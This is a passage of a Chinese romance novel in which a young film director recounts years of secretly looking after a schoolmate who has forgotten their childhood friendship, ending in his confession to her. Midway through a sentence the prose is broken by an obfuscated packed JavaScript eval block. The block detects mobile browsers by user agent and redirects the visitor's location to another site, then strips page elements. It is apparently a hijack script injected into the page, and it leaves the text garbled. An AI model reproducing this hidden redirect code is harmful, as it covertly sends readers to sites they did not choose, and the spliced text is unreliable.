她好像变了,初具少女的温和沉静,不再和小时候一样那么活泼,一见到他就要耍流氓亲他。 谈雪昼张口叫住她:“等等。” 她回过头。 谈雪昼拿着无人机,想了个借口:“谢谢,我请你吃个饭吧?” 她微微弯了下唇角:“不客气,学长,举手之劳。” 学长。 她真的一丁点都不记得他了。 这也太不公平了。 谈雪昼回去检查摔坏的无人机,很多镜头都可用,几秒的坠落之后,有个女生的脸孔在镜头里不断放大。 他心里闷得要死,撑着下巴想,你凭什么不记得我啊? 凭什么? 这天之后他去学校频繁了不少。 只是没再看见过宜夏。 很正常,他是国际部,高三,本身就和高一不在同一栋楼,甚至不在同一块区域。他也没刻意去高一的地方,碰不上才合理。 他把收拾得很好的那本小时候的绘本又翻了出来。 她编了很多小故事,他之前有空,把里面的小故事绘制了一遍,插画也是自己画的,花了很多闲暇的功夫重新装帧设计,十分费劲,最后只印了两本出来。 某次被舅舅的一个出版界朋友看见了,还特意问他要不要出版,画风清新故事也可爱,一定能畅销。 他拒绝了。 他摸着铜版纸,心想,真的太过分了。 居然一点都不记得了吗?什么记忆力啊。还是说,脑震荡真的什么都记不清,太过分了吧。 腿伤养好得差不多了,他约了应惟昭去学校后山的网球场打球。 江流中学的后山有一片规格很高的网球场,其实是他家里的地方,只不过因为距离近,平时也向学校里的同学开放。 他去打的时候一般清场。 那天他是临时想打,球场还有其他人,他杵着球拍站在旁边,等工作人员清场完做场地清理工作。 有个女生抱着球拍不好意思地央求工作人员,说期中考试马上就要考打网球墙了,现在还不及格,就想用一下旁边的墙壁,不用球场行不行。 工作人员委婉地说不行,谈雪昼走过去,简单说:“没关系。” 工作人员冲他鞠躬:“好的,少爷。” 谈雪昼突然有些尴尬,其实家里照顾他的佣人都不喊他少爷。 他转头看那个女生。 是宜夏。 其实,正是因为是宜夏,他才会上前。 宜夏眼睛湿润明亮,但不知道为什么不敢跟他搭话。 他也没主动开口。 犹豫了好一会儿,她走过来小声问:“学长,这是你家的吗?” 他点头。 她又说:“谢谢你让我借用球墙。我不用球场。” 他问:“学校里不是有网球墙吗?” 校园里也有网球场和网球墙,大部分同学不会专门跑到后山来。 她沉默片刻,温吞说:“学校里,人比较多。” 他看她一眼,懒懒说:“没关系,你要用尽管用。”顿了下,鬼使神差问,“要我教你吗?” 她迟疑片刻,抱着球拍摇头,说了谢谢不用。 她一个人,孤零零在离他们打球那片球场比较远的地方练习打墙。 他和应惟昭打了一会儿球,应惟昭捡球之后走到网前,把球朝他脸上一丢:“怎么回事,你怎么心不在焉的。” 谈雪昼擦了下汗,漫不经心说:“不打了。脚没好全。” 他坐在旁边长椅上休息。应惟昭看了一会儿,撞撞他肩膀:“不是,你看哪儿呢?打墙有什么好看啊?” 谈雪昼懒得跟他说话。 她一直在安安静静地打墙,打累了,就坐着发一会儿呆,捡起球继续打。 她好像没什么朋友。 练了一会儿,也许是力气太大,网球被打过墙壁,飞到另一侧去了。要去另一侧捡球得让工作人员开小门。她犹豫片刻,跑了过来,温温吞吞问可不可以帮一下忙。 他让工作人员帮忙把球拿回来,她又垂着脑袋说谢谢。 脑袋圆圆的,头上扎着一个小小的蜻蜓发卡,换了一个款式,蜻蜓翅膀上有几颗小珠子,塑料做的,不贵,但挺可爱。 应惟昭全程凉凉看着,谈雪昼一肘子捅得他捂着肚子叫疼。 她又回去打墙了,只不过中途偶尔朝他的地方看,遮掩快速地看一眼,又迅速移走眼神。 谈雪昼心里滋味有点奇妙,突然浑身来了力气,要和应惟昭一较高下。 应惟昭简直莫名其妙,打完一场用球拍怼他:“你怎么回事?孔雀开屏了?” 谈雪昼让工作人员给她拿饮料,和干净的毛巾。 她轻声推辞,隔得远远的,又红着脸跟他说谢谢。 谈雪昼心想,算了,不记得就不记得吧。 她怎么好像,和小时候不一样了。说话很慢,温吞吞的,小时候是很轻快活泼的。 下一次再见到宜夏。 应该是那学期期中考试过后。 是初夏的天气,下了一场雨之后,空气中弥漫着轻微的寒意。 谈雪昼那天去给一个同学过生日,简单送完礼物回来,他鬼使神差进了学校。时间已经很晚了,接近十一点,学校操场没人,他顺着操场散步,想大学的事。 其实录取结果都快出来了,他要回美国了,去耶鲁。 他是一定要回美国上学的。 谈默生希望他学比较传统的东西,金融,政治,甚至哲学、古典文学都可以。但他不想学这些,最后聊得不欢而散。 折中一下,谈默生不强求他学金融和政治,但他也不能真的去学稍微有点兴趣的美术,那就去学数学吧。 他散步散了一圈,见看台上有个人影,坐在很高的位置埋着头,似乎在哭。 蜷成一团,是女孩子。 这个点了,有可能出事,他走过去看是怎么回事。 走近之后,他立刻就认出来了。 是宜夏。 她穿着一件白色的长袖外套,袖子上有一圈毛绒滚边,衣领处缀着几颗绒球,衬得整个人茸茸的。把脸埋在膝盖上,肩膀一抖一抖。头上别着蜻蜓发卡,又换了一枚,也是塑料材质的,粉色的,还是可爱。 他怕惊到她,慢慢走过去,低声问:“你怎么了?” 她惶然地抬起脸,眼睛瞪圆,突然打了个哭嗝。 他在她旁边坐下,给她递了一包纸巾。 她一边擦眼泪,一边说没事。 他问:“考试没考好?” 她没吭声。 他说:“一次考试而已。” 也许是陌生人的安慰更加能容忍敞开心扉,她拽住他冰冷的冲锋衣衣袖,埋着头哽咽说:“我妈妈怀孕了。她要有孩子了,她再也不会要我了。” 她絮絮叨叨说了一些,说妈妈结婚了不管她了,也不管外婆,外婆生病了,她也不给钱。 也许是很多很多的恐惧和怨怼,她有点语无伦次,边说边掉眼泪。 谈雪昼心很柔软,蹲在她身边,无措地安慰她。 他知道她和外婆相依为命,只是不知道她的家庭情况,原来竟然如此困难。 他不知道自己对宜夏到底是什么心态。 她完全把他忘记了,可是他很不甘心。 他能记得每一次她头上不同的蜻蜓发卡。记得她跟他背过的每一首诗,写过的每一个故事。 大学的录取结果出来,他回学校一趟,收拾一些自己的东西。 却意外听见几个不是很熟悉的同学在讨论学校论坛里出的一个事,听见了宜夏的名字。 他点开了论坛看。 不知是谁,匿名发帖说高一上次月考的年级第一那个女生,妈妈是小三,妄图怀孕逼宫上位,傍上的也不是一般人,是最近刚拿了大奖的大导演全光毅,而全光毅现在的妻子是大明星关圆。 谈雪昼愣住了。 帖子里扒出来的是宜夏。 宜夏的妈妈,是,全光毅和关圆之间的第三者? 那岂不是,也是全光毅和谈之尧之间的第三者? 谈雪昼三岁父母离婚起,他就没再跟全光毅有过任何联系。 谈之尧不让谈雪昼跟全光毅联系。 全光毅出轨是事实辩无可辩,本身也理亏。谈雪昼跟他没有什么感情,他的出轨,确实让谈之尧很长一段时间成了上流社会的笑柄。也让谈雪昼的童年过得很艰难。 所以谈雪昼是该恨他的。 当然也该恨那个第三者。 恨屋及乌,第三者的女儿,自然也在牵连范围之内。 谈雪昼有点没办法接受这个事。 网上一定是有人在造谣。 宜夏怎么可能是那个女人的孩子? 可是又联想她说的话,说妈妈怀孕,妈妈不要她和外婆。 而且她的姓氏很少见。 谈雪昼的直觉告诉他,她真的是那个女人的女儿。 这个消息他需要一些时间消化。 只是,论坛上怎么会有人突然扒这种事情出来传播?他想不管怎么样,这些涉及隐私的事情不该被放到网上,他让人去把那些帖子都删掉。 很久一段时间,他没再去学校。 他开始失眠,再次长时间失眠。 回了瑞士,整天拍视频,把自己的时间填得很满,才没空闲琢磨乱七八糟的事。 谈之尧特地从美国飞来找他,警告了他一番,让他不要天天玩物丧志,多接触一些家里的事务,实在不行去几家机构做暑期实习,又或者试试接触一下基金的投资运作,总之,得做正经事。 谈雪昼对谈之尧女士一直是消极应对。 在他小时候,她很少关心他,他渐渐大了,她总是对他有各种规划,却完全罔顾他自己的想法。 他不是玩具,不是洋娃娃,也不是机器人,他是个人。 大概过了一个月,他终于再次回了学校一趟。 其实没什么目的,只是转了一圈,脚步莫名其妙就转到了高一级部。 这个时间,高一快要结束,马上要期末考试。 午饭时间,学生从楼里鱼贯而出。他逆着人流往楼上走,走到她在的三班。班上人已经走得差不多了,只剩她一个,趴在桌上休息,抿着嘴唇,脸色苍白。他随便拦了一个女生,让人进去问她怎么回事。 她微微支起脑袋,有点错愕,但还是回答了那个女生,有点羞耻说自己生理期,有点疼,但没什么事。 女生出来,耳朵红红地告诉他,说的是“你女朋友生理期”。 谈雪昼没来得及解释,那女生就跑远了。他站在窗边看了一会儿,有点苦恼,女孩子生理期来了应该怎么办?……多喝热水? 他去附近药店买了布洛芬,打了一杯热水,随便找了个人进去送给她。 自己没露面。 做完这些他对自己非常莫名其妙。 到底是在干什么? 后面隔了几天,他又在网球场碰见了她。 他跟工作人员说过可以让她随便用球场,但她来的次数也不多,都是自己默默在打墙。她好像真的没有什么朋友。 他突然想,难道是论坛上那些言论影响到她了吗? 让她被孤立了吗? 她一个人默默练习着网球,一下一下,把球打到墙上,墙又把球回弹回来,就这么机械地运动着。 她头上别了个新的蜻蜓发卡,是浅绿色的,很别致。 打墙打累了,她抱着膝盖原地坐下,蜷成一团,默默地对着墙壁发呆。 他走过去问:“打球吗?” 她有点吃惊,眼睛瞪圆了,拿着拍子站起来:“我不会。” 他说:“我也打得一般。” 他把球喂到她球拍上,你来我往打了几个回合,她渐渐自信起来了。活动开了,脸上也多了一点生动的表情,有了一点笑容,很淡,温吞柔和。 打了一小时,她出了一身汗,说自己打不动了,坐去旁边的长椅上休息。 工作人员非常有眼色地送来吸汗毛巾和运动饮料。她双手接过毛巾,表现得挺拘谨,又真的很新奇一样——他能看出来她眼里是纯粹的新奇,是那种面对一个和自己全然不同的世界的时候表现出来的好奇,但没有艳羡,也没有更深的欲望。 她把毛巾搭在腿上,支着下巴看球场里满地灿金的阳光,转头问:“你叫什么名字,学长?” 他没回答她。 过了一会儿她又问:“你是混血吗?” 他这时候十八岁,脸上的混血特征很明显。主要眉眼那一块,眼窝深,眉压眼,鼻梁山根高挺。他的外婆凯瑟琳·科尔顿是好莱坞上世纪以明艳优雅著称的神颜美人,至今仍然时时被影迷怀念,他继承了她的长相,轮廓虽有一些女性化的柔和,眉压眼却会显得神色傲慢凛冽。还有就是他头发颜色偏浅,小时候的照片很明显是金色的卷发,长大之后才变直变柔顺。 他没回答,只是问:“你怎么一个人在这里?前几天不是已经考完期末考了吗?” 她垂下脸,过了一会儿说:“今天家长会,公布成绩。” 他问:“你考得怎么样?” 她迟疑片刻,咬了下唇瓣:“还可以。” 他问她:“吃晚饭了吗?我请你吃饭吧。” 她立刻摇头:“不不不不用了,我去食堂吃饭。” 他强调:“我是好人。” “我知道,我知道学长你是好人。”她低着头看着自己的球拍,“谢谢你。” 他察觉到了她情绪有点低落。 他很快就要去美国上学。 去美国之前,他最后去了学校一趟。那是八月份,正常学校是在放暑假的,不过江流的本部管得很紧,已经开学了。 学校趁着天气好,在办体育节。 他坐在看台上看底下的学弟学妹们打排球。 这是江流高中的一项传统,年级排球赛。 她抱着本书坐在另一侧远远的看台上,周围没有其他人。她很安静看着打排球的同学,眼睛里有一点点艳羡。 她其实挺高的,怎么不上场呢? 排球赛她们班输给了对面,但也没不爽,全班挤在一起合影。她却没出现在合影中。 她好像被孤立了。 而且,孤立似乎已经持续了有一段时间。 谈雪昼不知道是不是因为曾经论坛上的那个帖子。 可能性是有的,虽然说很无聊,因为别人的身世而孤立别人。 ——她做错了什么? 她妈妈要做什么,她那么小,怎么管得了? 他很想去找她,跟她说没有关系,不是你的错。 可是一想,其实他没有立场。 小时候,他出院之后,其实见过全光毅,甚至跟他相处过一段时间。那是他找不到宜夏了,病情出现了反复,小舅舅有些束手无策,甚至死马当活马医,让他去跟亲生父亲相处。 不过,他对全光毅没有任何感情,也就谈不上治疗与否。 他可以理解谈之尧对全光毅的厌恶和恨意,其实那恨意更多的不是出自于爱的背叛,而是出自于,她高贵的脸面竟然被一个穷小子践踏了。 仅此而已。 他想了又想,最终还是匿名写了一封信打算给她。 信里夹了一页明信片,上面画了一只寻找春天的小鹿。 但是那封信,他最终,没有寄出去。 他始终是觉得,自己没有立场宽慰她。 对母亲没有立场,对她,也没有。 然后他就去美国读书了。 大一的寒假他在联合国人权机构实习,地方在非洲,他整个人被赤道的阳光晒到快脱皮。 非洲小国内战,打起来根本不在乎联合国的工作人员死活,一起工作的一个前辈惨烈牺牲,他小腿也被流弹打中。坐重卡穿越国境线进入埃及,再转道欧洲,终于坐上家里的飞机回家,突然来了一个剧本的灵感,这是《致命追杀》的雏形。 腿受伤了他被闷在家里发霉,没忍住去了学校散心。 距离上一次见到她,已经过了半年多。 说实话,他想到她的次数不多,偶尔会想知道,论坛上的那些话,对她还有影响吗?她有交到更多的朋友吗?过得还好吗? 可是他没有什么理由关心她。 她不记得他。 他在学校见到了她。 和另一个男生。 就是他在学校第一次见到她的时候,背后叫她的那个男生。 就是于璟。 当时是在学校的小卖部里。 他在里面买冰镇的苏打水,她突然进来,身后跟着于璟。隔着一个货架,他听见于璟问她:“待会儿一起吃饭吗?” 她迟疑片刻,轻声说:“我去食堂。” “那喝点东西吧。我请你喝奶茶。” 她声音很低:“不用了。” “宜夏,你这也不要那也不要,咱俩算得上是好朋友吗?你不是答应毕业之后咱俩谈恋爱吗?” 谈雪昼正弯腰从冷柜里拿一瓶酸奶,一阵冰凉从指尖一直往上窜,窜得他心突突一跳,整条手臂都麻了。 整个人僵在原地。 然而背后他们的说话声还是不断地传过来。 她说:“那要等高考完,不要乱说。” “那你至少也给我一点,未来男朋友的待遇吧。周末去吃新开的那家火锅店吧,我请客。” “不想去……”宜夏声音稍稍柔软了下来,轻声解释,“我想去图书馆学习。” “那我陪你去吧。” “……”宜夏迟疑,“那你,不要说话,行不行?” “听你的。”于璟说,“又去图书馆,你是要写你那个童话故事吗?真的不能给我看吗?我有亲戚在儿童文学工作,我帮你投稿呗。” “不用。”宜夏低着头挑货架上的糖果,选了一包Q|Q软糖。 也许是察觉到回复太生硬,片刻后,她软了下声音,细声说,“写完了给你看。我自己投稿,不用你帮忙。” 于璟从她手里拿过那包软糖,很迅速地靠近宜夏,飞快在她鼻尖上刮了一下。 谈雪昼的余光把他们的亲昵动作尽收眼底。 在他们一起走过来去收银台结账时,谈雪昼下意识背过身去。 他手掌撑着冷柜的架子,盯着冷柜里一排一排酸奶鲜奶和汽水,眼前却缓慢地模糊了。他好像什么都没看清,只是胸口传来一阵强烈的心悸和疼痛。 他们一起离开了小卖部。 谈雪昼才直起身来。 缓缓的,强烈的嫉妒、忧伤,心碎的感觉上涌,他几乎喘不过气来。 小腿的弹伤隐隐作痛,他翻来覆去睡不着,如此几夜,他无比强烈地想找她的联系方式。 可是。 她是那个女人的女儿。 她因为这个身份被孤立。 她还已经有男朋友了。 最重要的是。 她居然一点都不记得他了。 不是说会一直喜欢小雪哥哥吗? 第一次见面,就迅猛地亲了他一口。 现在把他全忘了。 这个世界上,怎么能有这么过分的人。 凭什么啊。 谈雪昼回了美国。 他下定决心不要再想她了。 对她而言他是一个陌生的有几面之缘的学长,对他而言,她却是一整片浓绿的森林,森林里的一只小鹿,小鹿奔跑带来的一个春天。 春天降临过,又离开了。 辗转难眠几次,他最终还是让人从国内寄来了《儿童文学》最近几期杂志。 他一眼就能认出她的文笔,她的故事。 他告诉自己,没关系,反正不是高考之后他们才谈恋爱吗?那他现在,也不算撬别人女朋友,也不算当小三破坏别人关系。 而且,明明是他先来的。 如此心理建设好几轮,他提笔,给她写下了第一封信,寄回国,再由国内的佣人帮忙转寄给她。 他们在信纸上聊了很多。 他一点也不想要知道她和于璟的关系。她也不主动提自己的生活,他们聊的几乎全是书,电影,偶尔聊一些学习。他刻意模糊了自己的学校和地址,让她以为他是在江流大学上学,她会在信里倾诉一些她在学校的苦闷生活,被孤立,没有朋友。 不过她也没有非常在乎这些高中的生活片段,在信里,她还是很有信心地告诉他,她会考上一所很好的大学,会过得很好。 谈雪昼在学校发奋学习。 因为她在信上提到的那些苦闷,他忍不住总是回国看她。她在那家粥店里打工,收银,他就坐在角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252658|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落里,戴着帽子,压低视线,不让她发现他。 他在Youtube上发了一些视频,得到了不少支持,逐渐产生了拍一个正经短片的想法,时长三四十分钟那种。 大二一开始他就在忙这个事。 他不希望自己再想她的事,可是还是很经常想到。 强忍着苦涩的嫉妒,他在信里一次都没有问过她谈恋爱的打算。 算算日子,她高三上学期应该结束了,下学期也要开始。 对普通的学生来说这是最关键的一学期。 她如果继续被孤立,成绩会受到影响吗? 他不太放心,但又自觉没有立场担心。 只要一想到她和于璟,强烈的嫉妒心就会立刻上涌。 她说的,高考毕业后,和于璟在一起。 他一点也不想见到。 然而。 然而。 拉锯了几周,他最终还是没忍住,又找了个借口回国,回了学校一趟。 他在高三级部的楼下光荣榜上,看见了她的脸孔。 和高一时圆溜溜的脑袋、毛绒绒的头发不一样,她脸变瘦了不少,抿着嘴唇,杏眼直勾勾地看着镜头,表情倔强冷清。没扎丸子头,扎了个高马尾,马尾上绑着一个蜻蜓的发卡,是布质的。 哪怕在低谷里,她也有一点属于自己的坚持。 看来她成绩没受到太大影响。 也许是高兴,或者是欣慰,他给光荣榜拍了张照。 这时候他突然有个鬼使神差的念头:她甚至,算得上是他,异父异母的妹妹吧? 所以,他关心一下,应该也挺正常。 内心其实有一种背叛了谈之尧的感觉。 他逆着人流往楼上走。 她选的理科,在理科的实验班三班,教室在教学楼顶层。走到顶楼时,迎面却见她抱着书从楼梯上下来。 他朝楼梯拐角躲了一下,没直接撞上,只看见她的背影,孤零零的,马尾一跳一跳,整个人绷得很紧,像一段弧。 幸好没见到讨人厌的于璟。 一天后谈雪昼替爷爷去参加了一个慈善拍卖会,在香港。 爷爷要拍有文化气息的字画装点台面,他不感兴趣。 只是拍品里有一样珠宝,是一个胸针。小鹿形状,身体用的是空窗珐琅工艺,做成轻透的渐变粉蓝色。整体镶满了老切钻石,排列细致的粉钻和蓝钻,鹿角上镶了两颗净透幽冷的祖母绿,颜色深冷,流光溢彩。很特别的点是,鹿角会在佩戴的时候隐约颤抖,很有生趣。 他一眼就觉得,和她很配。 他买了下来,让人把东西从胸针改成发卡。 改好的发卡一直装在盒子里,一直没送出去。 再一次知道她的消息的时候,是大二快暑假的时候。 学业压力挺大,他一杯一杯喝着咖啡在图书馆困倦地写essay,突然想起国内马上要高考了。 他虽然不愿意打听,但也隐约知道,于璟好像要来美国念书,他们未来可能会异地异国。于璟应该不参加高考,那会有人给她送考吗? 想到这里,他没忍住,借口都没来得及找就匆忙回国。 他找到了她的考点,不在本校,而在本地一所不怎么样的学校,那所学校混混很多。 她果然没人送考,是自己一个人参加考试。 她定了考点附近的一家小旅馆。 高考这几天,只要是考点,附近的旅馆酒店价格都翻倍的涨,她有心要定条件好点的,但钱也不够,只能定个条件一般的,很不安全。 谈雪昼找不到借口帮她。 最终想了个点子,先让她定的旅馆跟她说客满,再说为了补偿让她免费去附近的酒店,他家里的酒店,海晏假日酒店。 这借口够烂,她有点怀疑,但实在想不通旅馆有什么好骗她的,毕竟海晏是奢华酒店,普通住一晚都要花大几千块,旅馆没必要花这个钱。 她去了酒店,他让酒店安排了套房给她,方便她这两天考试。 酒店那边很会做事,特地提出派车给她送去考点,不过她拒绝了,因为酒店离考点就几百米的距离。 他真是鬼使神差了,一直跟着她,看她进了考点才放下心来。 头天考试结束,她却迟迟没回酒店。 谈雪昼坐在酒店大堂想了一阵子,还是不大放心,打算去考点看看。 幸好他去了,因为路上,他看见她被几个染着黄毛的混混堵在巷子里为难。 她抱着书包,抓紧手机,威胁黄毛混混们说自己已经报警了。 混混却满不在乎,继续逼近,不停调笑。 谈雪昼随手抄起一根棍子,从背后砸在一个混混背上。 一场混战,混混们倒了一地嘴歪脸斜地呻吟。 他没什么事,就是受过弹伤的小腿被踹了一脚。 宜夏抱着书包,表情有些受惊吓,惊慌地问他有没有事。 他丢了棍子,擦了擦唇角,摇头说没事。她跑去旁边药店买了碘伏和创可贴,垂着头双手递给他,又说了谢谢。 她好像没认出来他。 又没有认出来。 怎么有人,记性这么差? 他长得有那么路人甲吗? 他接过创可贴,胡乱撕开往脸上受伤的地方一贴,贴歪了。 她犹豫问:“要我帮你贴吗?你好像,没贴好。” 他瞟她一眼,不置可否地点头。 去找了家便利店坐下,她倾身过来细致地替他贴好创可贴,又买了一杯关东煮作为感谢。 他坐在一盏灯下,凝视着她。 她有些不自在,迟疑问:“我们认识吗?”她想了好久,才问,“学长?是你吗?” 好吧。 认出来了。 你记性还真不错。 他直截了当地问:“你是不是明天还要高考?” 她愣了下:“……嗯。” 他说:“那你怎么不回家?” 她轻声说:“我家离考点比较远,所以我爸妈让我住酒店。” 是在说谎。 “那你住在哪里?” “就住在……”她迟疑片刻,轻声说,“海晏。” 他站起来:“那我送你过去。” 她连忙拒绝。 他不由分说抄起她的书包:“走了,晚上还有点时间,可以复习一下明天要考的东西,别浪费时间。” 他成功把她送回了酒店。 上楼前,又跟他说了一次谢谢,很郑重。 他手掌蜷缩起来。 没忍住,最终还是很快摸了摸她头顶:“高考加油。” 她有点懵,眼睛睁得圆圆的,有点抗拒地躲开。 谈雪昼心里很难受,为她后退半步的动作。 可是心里也知道,是他不对。 她头发上还是有一个蜻蜓的发卡,珍珠白的翅膀。 谈雪昼突然想让人用珍珠做一只蜻蜓,小米珠就行,比较可爱。太大了就笨了。 高考一切顺利。 谈雪昼本来想直接回美国,却听说她们还有一个毕业典礼要办。 所以稍停了几天。 毕业典礼就在高考后几天。 提前预想到毕业典礼的场合需要捧花,他在家就打电话给了学校附近一家花店,让人送一束花过去给她。 对方问他要送什么,他想了想:“橙色系的,橙色的……”他开始是想向日葵,可是,话到嘴边,改成了,“橙玫瑰,加上向日葵。” 送给谁呢? 这个怎么描述?谈雪昼想了下,干脆说,让他们先把花交给他好了。 他抱着花,带着相机进了学校。 其实有些担心,她会不会收到其他人送的花? 譬如说于璟的。 还有,她会不会拒绝他送她的花? 橙玫瑰是玫瑰花,想想,她是不是已经和于璟在一起了,那她会不会,拒绝他的小怪兽玫瑰。 毕业典礼,学校的社团不少吉祥物玩偶出场,跟学生们合影。 他犹豫了片刻,穿进一只企鹅玩偶服里,笨拙地四处游荡。 最终是在操场边缘的看台上找到了她。 她一个人坐着,穿着一条棉质的白裙子,娃娃领,蝴蝶结绑带。两只手撑在身侧,仰起头看初夏极高远的天空。空气中盈满夏季的芬芳气味,树木绿色深浓,汁液满溢,灿金的阳光铺洒一地,明亮的跳跃。 阳光也洒在她脸上,脸颊上细细的绒毛泛着一层朦胧的光。 他突然发觉她好像瘦了很多。 她一个人坐着,发了好久的呆,看起来并不高兴,神情是一以贯之的温和萧索。 在听到广播说毕业典礼快开始时,她终于站起来往大礼堂走。 情绪不高,眼皮一直垂着。 他就悄悄跟在她后面,又觉得自己这种行为跟日漫里那种跟踪狂有什么区别。 于璟没有给她送花。 她也没有收到其他人的花,两手空空往大礼堂走,似乎有些失落。 他跟在她身后,躲在玩偶服里悄悄窥视她,最终,没有忍住,走上去拍了拍她的脑袋。 她有些错愕地回过头。 他藏在玩偶里的脸已经烧红滚烫,他想他是不是在做不道德的事,在给其他人的女朋友送玫瑰花。 ……管他呢。谁叫于璟不送? 她一脸错愕地捧住花,翻看里面的卡片。 是他用左手写的。 “在黄色麦片的黄昏 在春天的黄昏” 是一句诗。 她小时候喜欢背古诗。他后来会背很多诗了,也读了很多现代诗,英文诗,十四行诗。 她把匿名卡片塞回花束里,抱着花往前走,可是又频频回头,鼻尖酸楚,在熙攘匆忙的人流里注视他笨拙的身影。 忽然飞奔回来,她含着眼泪,轻轻地问:“你是不是送错人了?是送给我的吗?” 他用力点头,没忍住,抱了她一下。 她抱着橙色的玫瑰,走远了,依然不停频频回头看,那双眼睛黑白分明。 他怔怔站着,藏在玩偶服里,从企鹅玩偶的黑眼珠里看她涌入人海,心里突然一片温柔的心碎。 我曾和你在一起 在黄昏中坐过 在黄色麦片的黄昏 在春天的黄昏 我该对你说些什么 黄昏是我的家乡 你是家乡静静生长的姑娘 你是在静静的情义中生长 没有一点声响 你一直走到我心上(*) 宜夏。 我很安静喜欢上你,在你不知道的时候,在我不知道的时候。 86. 想把你比作春日 - 那之后谈雪昼直接回了美国,刻意不去打听她的消息。 于璟没有来美国,而是去了英国上学,所以也碰不到。 不用在一个圈子里听到他和她的消息,谈雪昼心里好受不少。 和她唯一的信件交流沟通,他没再主动,但准确来说,是她那边先停的。偶尔翻看她写的信,他忍不住嫉妒地想,真是太没良心了,谈恋爱之后,就连朋友也不要了么? 谈雪昼正式开始拍电影。 家里很不支持。 旷日持久的战争。 他跟派拉蒙对赌,《致命追杀》成功得超乎所有人的想象,他获得了成功,也获得了资本。那时他才刚刚大学毕业。 家里态度逐渐软化,要求他拍电影也可以,但必须回国,不能待在好莱坞这种乌烟瘴气的地方。 于是他回国了。 他特别特别的忙,哪怕回国了,也没有什么时间打听、了解她的消息,不是在深山老林的片场,就是满世界飞着参加活动或者勘景。 二十四岁这年,他的第二部、第三部长片同时全球院线上映,《纵火审判》和《禁闭现场》,都大获成功,一时间风头无两。 令他惊愕的是,他竟然在电影节的提名里,看到了她的名字。 他没有刻意去关注她,是她的名字主动跳到了他眼前: 《江流冬日》作为她的原创剧本,被提名了金芙蓉电影节的奖项。 她竟然做了编剧。 他本来不打算去参加那场电影节的颁奖典礼的。 但是一次酒桌闲聊,他意外听说了她现在是单身——难道是和于璟分手了么? 他几乎在那一瞬间,就决定去电影节现场,碰碰运气,找机会,算是跟她……正式的认识吧? 但偏偏,他人已经到了电影节组委安排的酒店,剧组发生了意外,需要他立刻赶回去解决问题。他不得不飞回片场,回去之前,他打电话给花店,预定了一束橙玫瑰与向日葵,让花店的人送给她。 等解决完剧组的问题,已经是半个月之后了。 本以为能抽出空来,去跟她碰上面,找人介绍,正式认识,结果,接到家里电话说谈默生突发心梗,已经被送往了ICU。 这个消息不能传出去,否则股市会剧烈动荡。谈默生有遗嘱条款,说如果失去意识,要谈雪昼代替他暂时行使海晏实业董事会主席的职权;如果去世,再按照遗嘱,分配股权、资产等等。 所以谈雪昼被迫临时成为了海晏的主席,猝然接手,稳定局势都花了很长时间。幸好海晏内部权力结构稳定,谈默生本人情况也不算糟糕,海晏才没有出现大动荡。 谈默生病好后,跟谈雪昼谈话,聊了很久。 默许他继续拍电影,只是,不能只想着拍电影,也有必须承担的责任在肩膀上。 这些兵荒马乱的事情忙完,谈雪昼再次在某个很小的电影节上见到了宜夏。 却见她,身边多了个男朋友,是个小演员。 ——他又晚来了一步。 阴差阳错。 总是比其他人来得晚。 不。 明明,他是最早的,明明是他先来的。 是她不记得他了。 谈雪昼想,也许,是他太过执念了。 他一直没能走出七岁那年遇见的春天。 她不一样,她自己就是春天,所以会在浓绿的森林里遇见鹿,遇见兔子,遇见老虎,遇见熊猫,她可以和每一只动物耐心玩耍。 而那只一直在心心念念寻找春天的小鹿玛莎,也只不过是她的森林里遇见的普通玩伴而已。 也许是他们本来就只有小时候的那一段缘分。 很美好就够了,只有他一个人记得又有什么关系呢? - 虞山的山顶,夜风凛冽。 天空墨蓝,擎得很高远。雨已经停了,山顶的空气冰凉湿润,扫荡掉所有燥意。 宜夏坐在小马扎上,抿着唇瓣盯着他,表情空白。 她不知道该做什么反应,做什么表情,实在是,实在是太震撼了。她大脑处理不了这么多信息,已经宕机了。 谈雪昼的声音慢慢地隐没消失,最后,吞没在唇齿间。他也没看她,仰起脸看着很高远的夜空,表情看起来有点儿不自在。 他其实不太擅长回忆,也不太擅长剖白心事。 高中单方面重逢之后,他很多次难以入眠,盯着那盏夜灯,不甘心地问,凭什么把我忘了,我就那么不重要吗? 意外听到她要和于璟在高中之后就确定关系,他几乎想过要不要直接撬墙角。后来舒润出现,他想的,也是要不要去破坏他们的关系。毕竟,这两个人,只要他愿意,都是一只手可以碾死的存在。可是,只要一想到,她喜欢着他们,他就没有办法下定决心。 真正的喜欢不是占有,而是希望她能幸福。 后面回国之后,勉强算在一个圈子里,都在电影圈,隔了几手的消息,他偶尔能听说她跟舒润关系一直很稳定,舒润人品其实也不错。 他就想,其实他不该执念。 家里开始给他安排相亲,他也尽力去配合过,想知道能不能喜欢上其他人。 对她的喜欢,是七岁那年遇见的来自春天的地震,一直持续到现在,依然在他身上稳定持续地发生着漫长的余震。 他发现,真的没办法喜欢其他人。 只能那么可怜地看着,守候着,等待着,煎熬着,面对真正喜欢的人,会连攻击性都丢掉,只剩手足无措的惶然。 后来。 终于,有了机会。 这么长一段回忆,最后留在他口中的,不过是:“再后来,就是我到了清塘岛……” 第一眼看见她。 在码头,第一眼看见她,她穿一条白裙子,脸颊莹白,嘴唇却很红艳,颜色与其他人天生区别开。他那一瞬间就忘记了所有的事情,不知道目光究竟撞没撞上,对没对视,一阵空白。 她却依然,非常正常地,没认出他,把他无视了。 但那一瞬间,他已经感觉到了全世界神明的感召。 ——为什么偏偏是清塘岛,为什么偏偏遇见她。为什么甚至订到了同一家民宿。 已经来迟了这么多年,这一次,他无论如何也不想要放手。 谈雪昼突然听见了她低低哽咽的喉音。他转过头,看见她竟然在无声地落泪。 宜夏终于,终于把信息接收完全了。 很缓慢地处理好,一种迟来的遗憾、痛苦和愧疚的情绪涌上心头,她自己用手背擦了下眼泪,努力正常说话:“你怎么……这样啊。” 